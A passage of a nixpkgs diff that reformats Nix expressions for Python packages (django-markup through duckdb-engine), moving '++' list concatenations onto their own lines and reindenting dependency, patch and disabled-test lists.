   nativeCheckInputs = [
     django
diff --git a/pkgs/development/python-modules/django-markup/default.nix b/pkgs/development/python-modules/django-markup/default.nix
index e3b697a659c4..b67f9af63d21 100644
--- a/pkgs/development/python-modules/django-markup/default.nix
+++ b/pkgs/development/python-modules/django-markup/default.nix
@@ -63,7 +63,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-django
     pytestCheckHook
-  ] ++ optional-dependencies.all_filter_dependencies;
+  ]
+  ++ optional-dependencies.all_filter_dependencies;
 
   disabledTests = [
     # pygments compat issue
diff --git a/pkgs/development/python-modules/django-modelcluster/default.nix b/pkgs/development/python-modules/django-modelcluster/default.nix
index 608c78f8cff4..d78eb6c5f4be 100644
--- a/pkgs/development/python-modules/django-modelcluster/default.nix
+++ b/pkgs/development/python-modules/django-modelcluster/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-django
     pytestCheckHook
-  ] ++ optional-dependencies.taggit;
+  ]
+  ++ optional-dependencies.taggit;
 
   pythonImportsCheck = [ "modelcluster" ];
 
diff --git a/pkgs/development/python-modules/django-payments/default.nix b/pkgs/development/python-modules/django-payments/default.nix
index 83ba9f7709e5..6fd877610e6f 100644
--- a/pkgs/development/python-modules/django-payments/default.nix
+++ b/pkgs/development/python-modules/django-payments/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     django
     django-phonenumber-field
     requests
-  ] ++ django-phonenumber-field.optional-dependencies.phonenumberslite;
+  ]
+  ++ django-phonenumber-field.optional-dependencies.phonenumberslite;
 
   # require internet connection
   doCheck = false;
diff --git a/pkgs/development/python-modules/django-q2/default.nix b/pkgs/development/python-modules/django-q2/default.nix
index 3b388ab34cf5..09370355b3f5 100644
--- a/pkgs/development/python-modules/django-q2/default.nix
+++ b/pkgs/development/python-modules/django-q2/default.nix
@@ -79,21 +79,20 @@ buildPythonPackage rec {
     REDIS_HOST = "127.0.0.1";
   };
 
-  disabledTests =
-    [
-      # requires a running mongodb
-      "test_mongo"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fails with an assertion
-      "test_max_rss"
-      "test_recycle"
-      # cannot connect to redis
-      "test_broker"
-      "test_custom"
-      "test_redis"
-      "test_redis_connection"
-    ];
+  disabledTests = [
+    # requires a running mongodb
+    "test_mongo"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fails with an assertion
+    "test_max_rss"
+    "test_recycle"
+    # cannot connect to redis
+    "test_broker"
+    "test_custom"
+    "test_redis"
+    "test_redis_connection"
+  ];
 
   disabledTestPaths = [
     "django_q/tests/test_commands.py"
diff --git a/pkgs/development/python-modules/django-redis/default.nix b/pkgs/development/python-modules/django-redis/default.nix
index 6dacbbc2e433..7da99a112bb7 100644
--- a/pkgs/development/python-modules/django-redis/default.nix
+++ b/pkgs/development/python-modules/django-redis/default.nix
@@ -65,7 +65,8 @@ buildPythonPackage rec {
     pytest-django
     pytest-mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "-W"
diff --git a/pkgs/development/python-modules/django-storages/default.nix b/pkgs/development/python-modules/django-storages/default.nix
index fa241f9a7048..7bfe64c0ea6d 100644
--- a/pkgs/development/python-modules/django-storages/default.nix
+++ b/pkgs/development/python-modules/django-storages/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     moto
     pytestCheckHook
     rsa
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   checkInputs = [ pynacl ];
 
diff --git a/pkgs/development/python-modules/django-stubs/default.nix b/pkgs/development/python-modules/django-stubs/default.nix
index cc36722e3867..fa47aa2a1293 100644
--- a/pkgs/development/python-modules/django-stubs/default.nix
+++ b/pkgs/development/python-modules/django-stubs/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     types-pytz
     types-pyyaml
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   optional-dependencies = {
     compatible-mypy = [ mypy ];
@@ -43,7 +44,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "django-stubs" ];
 
diff --git a/pkgs/development/python-modules/django-tables2/default.nix b/pkgs/development/python-modules/django-tables2/default.nix
index ba0d88373064..3ede021e0e82 100644
--- a/pkgs/development/python-modules/django-tables2/default.nix
+++ b/pkgs/development/python-modules/django-tables2/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     pyyaml
     pytest-django
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   meta = with lib; {
     changelog = "https://github.com/jieter/django-tables2/blob/v${version}/CHANGELOG.md";
diff --git a/pkgs/development/python-modules/django/3.nix b/pkgs/development/python-modules/django/3.nix
index d8520e33e97c..6b88703698d3 100644
--- a/pkgs/development/python-modules/django/3.nix
+++ b/pkgs/development/python-modules/django/3.nix
@@ -26,19 +26,18 @@ buildPythonPackage rec {
     hash = "sha256-fKOKeGVK7nI3hZTWPlFjbAS44oV09VBd/2MIlbVHJ3c=";
   };
 
-  patches =
-    [
-      (replaceVars ./django_3_set_zoneinfo_dir.patch {
-        zoneinfo = tzdata + "/share/zoneinfo";
-      })
-    ]
-    ++ lib.optional withGdal (
-      replaceVars ./django_3_set_geos_gdal_lib.patch {
-        inherit geos_3_9;
-        inherit gdal;
-        extension = stdenv.hostPlatform.extensions.sharedLibrary;
-      }
-    );
+  patches = [
+    (replaceVars ./django_3_set_zoneinfo_dir.patch {
+      zoneinfo = tzdata + "/share/zoneinfo";
+    })
+  ]
+  ++ lib.optional withGdal (
+    replaceVars ./django_3_set_geos_gdal_lib.patch {
+      inherit geos_3_9;
+      inherit gdal;
+      extension = stdenv.hostPlatform.extensions.sharedLibrary;
+    }
+  );
 
   propagatedBuildInputs = [
     asgiref
diff --git a/pkgs/development/python-modules/django/4.nix b/pkgs/development/python-modules/django/4.nix
index a387637f8605..2bd5b6ae34ce 100644
--- a/pkgs/development/python-modules/django/4.nix
+++ b/pkgs/development/python-modules/django/4.nix
@@ -57,56 +57,54 @@ buildPythonPackage rec {
     hash = "sha256-h6VkMLg2XAVC0p+ItTs/2EqpYdZn9uNvv6ZwQHXP0bI=";
   };
 
-  patches =
-    [
-      (replaceVars ./django_4_set_zoneinfo_dir.patch {
-        zoneinfo = tzdata + "/share/zoneinfo";
-      })
-      # make sure the tests don't remove packages from our pythonpath
-      # and disable failing tests
-      ./django_4_tests.patch
+  patches = [
+    (replaceVars ./django_4_set_zoneinfo_dir.patch {
+      zoneinfo = tzdata + "/share/zoneinfo";
+    })
+    # make sure the tests don't remove packages from our pythonpath
+    # and disable failing tests
+    ./django_4_tests.patch
 
-      # fix filename length limit tests on bcachefs
-      # FIXME: remove if ever backported
-      (fetchpatch {
-        url = "https://github.com/django/django/commit/12f4f95405c7857cbf2f4bf4d0261154aac31676.patch";
-        hash = "sha256-+K20/V8sh036Ox9U7CSPgfxue7f28Sdhr3MsB7erVOk=";
-      })
+    # fix filename length limit tests on bcachefs
+    # FIXME: remove if ever backported
+    (fetchpatch {
+      url = "https://github.com/django/django/commit/12f4f95405c7857cbf2f4bf4d0261154aac31676.patch";
+      hash = "sha256-+K20/V8sh036Ox9U7CSPgfxue7f28Sdhr3MsB7erVOk=";
+    })
 
-      # backport fix for https://code.djangoproject.com/ticket/36056
-      # FIXME: remove if ever backported upstream
-      (fetchpatch {
-        url = "https://github.com/django/django/commit/ec0e784f91b551c654f0962431cc31091926792d.patch";
-        includes = [ "django/*" ]; # tests don't apply
-        hash = "sha256-8YwdOBNJq6+GNoxzdLyN9HEEIWRXGQk9YbyfPwYVkwU=";
-      })
-    ]
-    ++ lib.optionals withGdal [
-      (replaceVars ./django_4_set_geos_gdal_lib.patch {
-        geos = geos;
-        gdal = gdal;
-        extension = stdenv.hostPlatform.extensions.sharedLibrary;
-      })
-    ];
+    # backport fix for https://code.djangoproject.com/ticket/36056
+    # FIXME: remove if ever backported upstream
+    (fetchpatch {
+      url = "https://github.com/django/django/commit/ec0e784f91b551c654f0962431cc31091926792d.patch";
+      includes = [ "django/*" ]; # tests don't apply
+      hash = "sha256-8YwdOBNJq6+GNoxzdLyN9HEEIWRXGQk9YbyfPwYVkwU=";
+    })
+  ]
+  ++ lib.optionals withGdal [
+    (replaceVars ./django_4_set_geos_gdal_lib.patch {
+      geos = geos;
+      gdal = gdal;
+      extension = stdenv.hostPlatform.extensions.sharedLibrary;
+    })
+  ];
 
-  postPatch =
-    ''
-      substituteInPlace tests/utils_tests/test_autoreload.py \
-        --replace "/usr/bin/python" "${python.interpreter}"
-    ''
-    + lib.optionalString (pythonAtLeast "3.12" && stdenv.hostPlatform.system == "aarch64-linux") ''
-      # Test regression after xz was reverted from 5.6.0 to 5.4.6
-      # https://hydra.nixos.org/build/254630990
-      substituteInPlace tests/view_tests/tests/test_debug.py \
-        --replace-fail "test_files" "dont_test_files"
-    ''
-    + lib.optionalString (pythonAtLeast "3.13") ''
-      # Fixed CommandTypes.test_help_default_options_with_custom_arguments test on Python 3.13+.
-      # https://github.com/django/django/commit/3426a5c33c36266af42128ee9eca4921e68ea876
-      substituteInPlace tests/admin_scripts/tests.py --replace-fail \
-        "test_help_default_options_with_custom_arguments" \
-        "dont_test_help_default_options_with_custom_arguments"
-    '';
+  postPatch = ''
+    substituteInPlace tests/utils_tests/test_autoreload.py \
+      --replace "/usr/bin/python" "${python.interpreter}"
+  ''
+  + lib.optionalString (pythonAtLeast "3.12" && stdenv.hostPlatform.system == "aarch64-linux") ''
+    # Test regression after xz was reverted from 5.6.0 to 5.4.6
+    # https://hydra.nixos.org/build/254630990
+    substituteInPlace tests/view_tests/tests/test_debug.py \
+      --replace-fail "test_files" "dont_test_files"
+  ''
+  + lib.optionalString (pythonAtLeast "3.13") ''
+    # Fixed CommandTypes.test_help_default_options_with_custom_arguments test on Python 3.13+.
+    # https://github.com/django/django/commit/3426a5c33c36266af42128ee9eca4921e68ea876
+    substituteInPlace tests/admin_scripts/tests.py --replace-fail \
+      "test_help_default_options_with_custom_arguments" \
+      "dont_test_help_default_options_with_custom_arguments"
+  '';
 
   nativeBuildInputs = [ setuptools ];
 
@@ -137,7 +135,8 @@ buildPythonPackage rec {
     selenium
     tblib
     tzdata
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   doCheck =
     !stdenv.hostPlatform.isDarwin
diff --git a/pkgs/development/python-modules/django/5.nix b/pkgs/development/python-modules/django/5.nix
index c872bd6f704a..67910db42955 100644
--- a/pkgs/development/python-modules/django/5.nix
+++ b/pkgs/development/python-modules/django/5.nix
@@ -56,30 +56,29 @@ buildPythonPackage rec {
     hash = "sha256-yHoK7NGa91QEVFLeHqJo126qNg1pTE7W6LEtbCLy4sw=";
   };
 
-  patches =
-    [
-      (replaceVars ./django_5_set_zoneinfo_dir.patch {
-        zoneinfo = tzdata + "/share/zoneinfo";
-      })
-      # prevent tests from messing with our pythonpath
-      ./django_5_tests_pythonpath.patch
-      # disable test that expects timezone issues
-      ./django_5_disable_failing_tests.patch
+  patches = [
+    (replaceVars ./django_5_set_zoneinfo_dir.patch {
+      zoneinfo = tzdata + "/share/zoneinfo";
+    })
+    # prevent tests from messing with our pythonpath
+    ./django_5_tests_pythonpath.patch
+    # disable test that expects timezone issues
+    ./django_5_disable_failing_tests.patch
 
-      # fix filename length limit tests on bcachefs
-      # FIXME: remove in 5.2
-      (fetchpatch {
-        url = "https://github.com/django/django/commit/12f4f95405c7857cbf2f4bf4d0261154aac31676.patch";
-        hash = "sha256-+K20/V8sh036Ox9U7CSPgfxue7f28Sdhr3MsB7erVOk=";
-      })
-    ]
-    ++ lib.optionals withGdal [
-      (replaceVars ./django_5_set_geos_gdal_lib.patch {
-        geos = geos;
-        gdal = gdal;
-        extension = stdenv.hostPlatform.extensions.sharedLibrary;
-      })
-    ];
+    # fix filename length limit tests on bcachefs
+    # FIXME: remove in 5.2
+    (fetchpatch {
+      url = "https://github.com/django/django/commit/12f4f95405c7857cbf2f4bf4d0261154aac31676.patch";
+      hash = "sha256-+K20/V8sh036Ox9U7CSPgfxue7f28Sdhr3MsB7erVOk=";
+    })
+  ]
+  ++ lib.optionals withGdal [
+    (replaceVars ./django_5_set_geos_gdal_lib.patch {
+      geos = geos;
+      gdal = gdal;
+      extension = stdenv.hostPlatform.extensions.sharedLibrary;
+    })
+  ];
 
   postPatch = ''
     substituteInPlace tests/utils_tests/test_autoreload.py \
@@ -115,7 +114,8 @@ buildPythonPackage rec {
     selenium
     tblib
     tzdata
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   doCheck =
     !stdenv.hostPlatform.isDarwin
diff --git a/pkgs/development/python-modules/djangorestframework-stubs/default.nix b/pkgs/development/python-modules/djangorestframework-stubs/default.nix
index 986c09e304a1..4c354a3e082e 100644
--- a/pkgs/development/python-modules/djangorestframework-stubs/default.nix
+++ b/pkgs/development/python-modules/djangorestframework-stubs/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     py
     pytest-mypy-plugins
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # Upstream recommends mypy > 1.7 which we don't have yet, thus all testsare failing with 3.14.5 and below
   doCheck = false;
diff --git a/pkgs/development/python-modules/djangorestframework/default.nix b/pkgs/development/python-modules/djangorestframework/default.nix
index 294c729d0bf7..328e7e49da1d 100644
--- a/pkgs/development/python-modules/djangorestframework/default.nix
+++ b/pkgs/development/python-modules/djangorestframework/default.nix
@@ -43,28 +43,29 @@ buildPythonPackage rec {
   dependencies = [
     django
     pygments
-  ] ++ (lib.optional (lib.versionOlder django.version "5.0.0") pytz);
+  ]
+  ++ (lib.optional (lib.versionOlder django.version "5.0.0") pytz);
 
   optional-dependencies = {
-    complete =
-      [
-        coreschema
-        django-guardian
-        inflection
-        psycopg2
-        pygments
-        pyyaml
-      ]
-      ++ lib.optionals (pythonOlder "3.13") [
-        # broken on 3.13
-        coreapi
-      ];
+    complete = [
+      coreschema
+      django-guardian
+      inflection
+      psycopg2
+      pygments
+      pyyaml
+    ]
+    ++ lib.optionals (pythonOlder "3.13") [
+      # broken on 3.13
+      coreapi
+    ];
   };
 
   nativeCheckInputs = [
     pytest-django
     pytestCheckHook
-  ] ++ optional-dependencies.complete;
+  ]
+  ++ optional-dependencies.complete;
 
   disabledTests = [
     # https://github.com/encode/django-rest-framework/issues/9422
diff --git a/pkgs/development/python-modules/dm-control/default.nix b/pkgs/development/python-modules/dm-control/default.nix
index c92df8ed1bab..acd06d28f757 100644
--- a/pkgs/development/python-modules/dm-control/default.nix
+++ b/pkgs/development/python-modules/dm-control/default.nix
@@ -70,7 +70,8 @@ buildPythonPackage rec {
     scipy
     setuptools
     tqdm
-  ] ++ etils.optional-dependencies.epath;
+  ]
+  ++ etils.optional-dependencies.epath;
 
   pythonImportsCheck = [ "dm_control" ];
 
diff --git a/pkgs/development/python-modules/dm-sonnet/default.nix b/pkgs/development/python-modules/dm-sonnet/default.nix
index 62cae899b80e..7b201bffdb70 100644
--- a/pkgs/development/python-modules/dm-sonnet/default.nix
+++ b/pkgs/development/python-modules/dm-sonnet/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
     numpy
     tabulate
     wrapt
-  ] ++ etils.optional-dependencies.epath;
+  ]
+  ++ etils.optional-dependencies.epath;
 
   optional-dependencies = {
     tensorflow = [ tensorflow ];
diff --git a/pkgs/development/python-modules/dns-lexicon/default.nix b/pkgs/development/python-modules/dns-lexicon/default.nix
index d92fe015ea8c..f84f2d7110b9 100644
--- a/pkgs/development/python-modules/dns-lexicon/default.nix
+++ b/pkgs/development/python-modules/dns-lexicon/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     pyyaml
     requests
     tldextract
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   optional-dependencies = {
     route53 = [ boto3 ];
@@ -66,7 +67,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-vcr
-  ] ++ optional-dependencies.full;
+  ]
+  ++ optional-dependencies.full;
 
   pytestFlagsArray = [ "tests/" ];
 
diff --git a/pkgs/development/python-modules/docker-pycreds/default.nix b/pkgs/development/python-modules/docker-pycreds/default.nix
index ad7d63c84bb9..d33d6e7f6201 100644
--- a/pkgs/development/python-modules/docker-pycreds/default.nix
+++ b/pkgs/development/python-modules/docker-pycreds/default.nix
@@ -24,11 +24,12 @@ buildPythonPackage rec {
     setuptools
   ];
 
-  dependencies =
-    [ six ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      distutils
-    ];
+  dependencies = [
+    six
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    distutils
+  ];
 
   pythonImportsCheck = [ "dockerpycreds" ];
 
diff --git a/pkgs/development/python-modules/docker/default.nix b/pkgs/development/python-modules/docker/default.nix
index 063b4a295a27..64f6593e9aec 100644
--- a/pkgs/development/python-modules/docker/default.nix
+++ b/pkgs/development/python-modules/docker/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [ "tests/unit" ];
 
diff --git a/pkgs/development/python-modules/dockerflow/default.nix b/pkgs/development/python-modules/dockerflow/default.nix
index bad4dede4eb7..754c5b590e15 100644
--- a/pkgs/development/python-modules/dockerflow/default.nix
+++ b/pkgs/development/python-modules/dockerflow/default.nix
@@ -73,7 +73,8 @@ buildPythonPackage rec {
 
     # fastapi
     httpx
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     # AssertionError: assert 'c7a05e2b-8a21-4255-a3ed-92cea1e74a62' is None
diff --git a/pkgs/development/python-modules/docling-serve/default.nix b/pkgs/development/python-modules/docling-serve/default.nix
index 9cbf5b6339f3..90e5b87a2c09 100644
--- a/pkgs/development/python-modules/docling-serve/default.nix
+++ b/pkgs/development/python-modules/docling-serve/default.nix
@@ -52,20 +52,19 @@ buildPythonPackage rec {
     "websockets"
   ];
 
-  dependencies =
-    [
-      docling
-      fastapi
-      httpx
-      pydantic-settings
-      python-multipart
-      uvicorn
-      websockets
-    ]
-    ++ lib.optionals withUI optional-dependencies.ui
-    ++ lib.optionals withTesserocr optional-dependencies.tesserocr
-    ++ lib.optionals withRapidocr optional-dependencies.rapidocr
-    ++ lib.optionals withCPU optional-dependencies.cpu;
+  dependencies = [
+    docling
+    fastapi
+    httpx
+    pydantic-settings
+    python-multipart
+    uvicorn
+    websockets
+  ]
+  ++ lib.optionals withUI optional-dependencies.ui
+  ++ lib.optionals withTesserocr optional-dependencies.tesserocr
+  ++ lib.optionals withRapidocr optional-dependencies.rapidocr
+  ++ lib.optionals withCPU optional-dependencies.cpu;
 
   optional-dependencies = {
     ui = [
diff --git a/pkgs/development/python-modules/docplex/default.nix b/pkgs/development/python-modules/docplex/default.nix
index 856dc03c5875..336c4b553665 100644
--- a/pkgs/development/python-modules/docplex/default.nix
+++ b/pkgs/development/python-modules/docplex/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     docloud
     requests
-  ] ++ lib.optional isPy27 futures;
+  ]
+  ++ lib.optional isPy27 futures;
 
   doCheck = false;
   pythonImportsCheck = [ "docplex" ];
diff --git a/pkgs/development/python-modules/doit/default.nix b/pkgs/development/python-modules/doit/default.nix
index 188fb1ddbb3b..756e980e091c 100644
--- a/pkgs/development/python-modules/doit/default.nix
+++ b/pkgs/development/python-modules/doit/default.nix
@@ -30,14 +30,13 @@ let
       hash = "sha256-cdB8zJUUyyL+WdmJmVd2ZeqrV+FvZE0EM2rgtLriNLw=";
     };
 
-    propagatedBuildInputs =
-      [
-        cloudpickle
-        importlib-metadata
-        toml
-      ]
-      ++ lib.optional stdenv.hostPlatform.isLinux pyinotify
-      ++ lib.optional stdenv.hostPlatform.isDarwin macfsevents;
+    propagatedBuildInputs = [
+      cloudpickle
+      importlib-metadata
+      toml
+    ]
+    ++ lib.optional stdenv.hostPlatform.isLinux pyinotify
+    ++ lib.optional stdenv.hostPlatform.isDarwin macfsevents;
 
     nativeCheckInputs = [
       configclass
diff --git a/pkgs/development/python-modules/dparse/default.nix b/pkgs/development/python-modules/dparse/default.nix
index 2229a094ec2a..6c4ebf37ac13 100644
--- a/pkgs/development/python-modules/dparse/default.nix
+++ b/pkgs/development/python-modules/dparse/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "dparse" ];
 
diff --git a/pkgs/development/python-modules/dramatiq/default.nix b/pkgs/development/python-modules/dramatiq/default.nix
index 60055e50e3eb..1c1af404d665 100644
--- a/pkgs/development/python-modules/dramatiq/default.nix
+++ b/pkgs/development/python-modules/dramatiq/default.nix
@@ -67,34 +67,33 @@ buildPythonPackage rec {
       -e 's:--benchmark-compare::' \
   '';
 
-  disabledTests =
-    [
-      # Requires a running redis
-      "test_after_process_boot_call_has_no_blocked_signals"
-      "test_cli_can_be_reloaded_on_sighup"
-      "test_cli_can_watch_for_source_code_changes"
-      "test_cli_fork_functions_have_no_blocked_signals"
-      "test_consumer_threads_have_no_blocked_signals"
-      "test_middleware_fork_functions_have_no_blocked_signals"
-      "test_redis_broker_can_connect_via_client"
-      "test_redis_broker_can_connect_via_url"
-      "test_redis_process_100k_messages_with_cli"
-      "test_redis_process_10k_fib_with_cli"
-      "test_redis_process_1k_latency_with_cli"
-      "test_worker_threads_have_no_blocked_signals"
-      # Requires a running rabbitmq
-      "test_rabbitmq_broker_can_be_passed_a_list_of_parameters_for_failover"
-      "test_rabbitmq_broker_can_be_passed_a_list_of_uri_for_failover"
-      "test_rabbitmq_broker_can_be_passed_a_semicolon_separated_list_of_uris"
-      "test_rabbitmq_broker_connections_are_lazy"
-      "test_rabbitmq_process_100k_messages_with_cli"
-      "test_rabbitmq_process_10k_fib_with_cli"
-      "test_rabbitmq_process_1k_latency_with_cli"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Takes too long for darwin ofborg
-      "test_retry_exceptions_can_specify_a_delay"
-    ];
+  disabledTests = [
+    # Requires a running redis
+    "test_after_process_boot_call_has_no_blocked_signals"
+    "test_cli_can_be_reloaded_on_sighup"
+    "test_cli_can_watch_for_source_code_changes"
+    "test_cli_fork_functions_have_no_blocked_signals"
+    "test_consumer_threads_have_no_blocked_signals"
+    "test_middleware_fork_functions_have_no_blocked_signals"
+    "test_redis_broker_can_connect_via_client"
+    "test_redis_broker_can_connect_via_url"
+    "test_redis_process_100k_messages_with_cli"
+    "test_redis_process_10k_fib_with_cli"
+    "test_redis_process_1k_latency_with_cli"
+    "test_worker_threads_have_no_blocked_signals"
+    # Requires a running rabbitmq
+    "test_rabbitmq_broker_can_be_passed_a_list_of_parameters_for_failover"
+    "test_rabbitmq_broker_can_be_passed_a_list_of_uri_for_failover"
+    "test_rabbitmq_broker_can_be_passed_a_semicolon_separated_list_of_uris"
+    "test_rabbitmq_broker_connections_are_lazy"
+    "test_rabbitmq_process_100k_messages_with_cli"
+    "test_rabbitmq_process_10k_fib_with_cli"
+    "test_rabbitmq_process_1k_latency_with_cli"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Takes too long for darwin ofborg
+    "test_retry_exceptions_can_specify_a_delay"
+  ];
 
   pythonImportsCheck = [ "dramatiq" ];
 
diff --git a/pkgs/development/python-modules/drf-extra-fields/default.nix b/pkgs/development/python-modules/drf-extra-fields/default.nix
index 9ffeddfab9bb..5ca6b0facc55 100644
--- a/pkgs/development/python-modules/drf-extra-fields/default.nix
+++ b/pkgs/development/python-modules/drf-extra-fields/default.nix
@@ -44,22 +44,22 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-django
     pytz
-  ] ++ optional-dependencies.Base64ImageField;
+  ]
+  ++ optional-dependencies.Base64ImageField;
 
   pythonImportsCheck = [ "drf_extra_fields" ];
 
-  disabledTests =
-    [
-      # pytz causes the following tests to fail
-      "test_create"
-      "test_create_with_base64_prefix"
-      "test_create_with_webp_image"
-      "test_remove_with_empty_string"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/Hipo/drf-extra-fields/issues/210
-      "test_read_source_with_context"
-    ];
+  disabledTests = [
+    # pytz causes the following tests to fail
+    "test_create"
+    "test_create_with_base64_prefix"
+    "test_create_with_webp_image"
+    "test_remove_with_empty_string"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/Hipo/drf-extra-fields/issues/210
+    "test_read_source_with_context"
+  ];
 
   meta = {
     description = "Extra Fields for Django Rest Framework";
diff --git a/pkgs/development/python-modules/drf-jwt/default.nix b/pkgs/development/python-modules/drf-jwt/default.nix
index 5e4960385803..9f062a9c5288 100644
--- a/pkgs/development/python-modules/drf-jwt/default.nix
+++ b/pkgs/development/python-modules/drf-jwt/default.nix
@@ -21,7 +21,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     pyjwt
     djangorestframework
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   # requires setting up a django instance
   doCheck = false;
diff --git a/pkgs/development/python-modules/drf-spectacular/default.nix b/pkgs/development/python-modules/drf-spectacular/default.nix
index 9dc2e73c7c33..21161cfa603b 100644
--- a/pkgs/development/python-modules/drf-spectacular/default.nix
+++ b/pkgs/development/python-modules/drf-spectacular/default.nix
@@ -86,7 +86,8 @@ buildPythonPackage rec {
     psycopg2
     pytest-django
     pytestCheckHook
-  ] ++ django-allauth.optional-dependencies.socialaccount;
+  ]
+  ++ django-allauth.optional-dependencies.socialaccount;
 
   disabledTests = [
     # Test requires django with gdal
diff --git a/pkgs/development/python-modules/dscribe/default.nix b/pkgs/development/python-modules/dscribe/default.nix
index 22fe43bed74f..658b5dd45044 100644
--- a/pkgs/development/python-modules/dscribe/default.nix
+++ b/pkgs/development/python-modules/dscribe/default.nix
@@ -62,23 +62,22 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # AttributeError: module 'numpy' has no attribute 'product'
-      "test_extended_system"
-    ]
-    ++
-      lib.optionals
-        ((stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) || stdenv.hostPlatform.isDarwin)
-        [
-          # AssertionError on a numerical test
-          "test_cell_list"
-        ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fatal Python error: Aborted
-      # matplotlib/backend_bases.py", line 2654 in create_with_canvas
-      "test_examples"
-    ];
+  disabledTests = [
+    # AttributeError: module 'numpy' has no attribute 'product'
+    "test_extended_system"
+  ]
+  ++
+    lib.optionals
+      ((stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) || stdenv.hostPlatform.isDarwin)
+      [
+        # AssertionError on a numerical test
+        "test_cell_list"
+      ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fatal Python error: Aborted
+    # matplotlib/backend_bases.py", line 2654 in create_with_canvas
+    "test_examples"
+  ];
 
   meta = {
     description = "Machine learning descriptors for atomistic systems";
diff --git a/pkgs/development/python-modules/dsnap/default.nix b/pkgs/development/python-modules/dsnap/default.nix
index 53f1d4319ca6..1b8a2bcf27a0 100644
--- a/pkgs/development/python-modules/dsnap/default.nix
+++ b/pkgs/development/python-modules/dsnap/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     moto
     mypy-boto3-ebs
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # https://github.com/RhinoSecurityLabs/dsnap/issues/26
   # ImportError: cannot import name 'mock_iam' from 'moto'
diff --git a/pkgs/development/python-modules/duckdb-engine/default.nix b/pkgs/development/python-modules/duckdb-engine/default.nix
index 623f42d0eb9d..2663cc9bd944 100644
--- a/pkgs/development/python-modules/duckdb-engine/default.nix
+++ b/pkgs/development/python-modules/duckdb-engine/default.nix
@@ -44,19 +44,18 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  checkInputs =
-    [
-      hypothesis
-      pandas
-      pytest-remotedata
-      typing-extensions
-      pyarrow
-    ]
-    ++ lib.optionals (pythonOlder "3.12") [
-      # requires wasmer which is broken for python 3.12
-      # https://github.com/wasmerio/wasmer-python/issues/778
-      snapshottest
-    ];
+  checkInputs = [
+    hypothesis
+    pandas
+    pytest-remotedata
+    typing-extensions
+    pyarrow
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [
+    # requires wasmer which is broken for python 3.12
+    # https://github.com/wasmerio/wasmer-python/issues/778
+    snapshottest
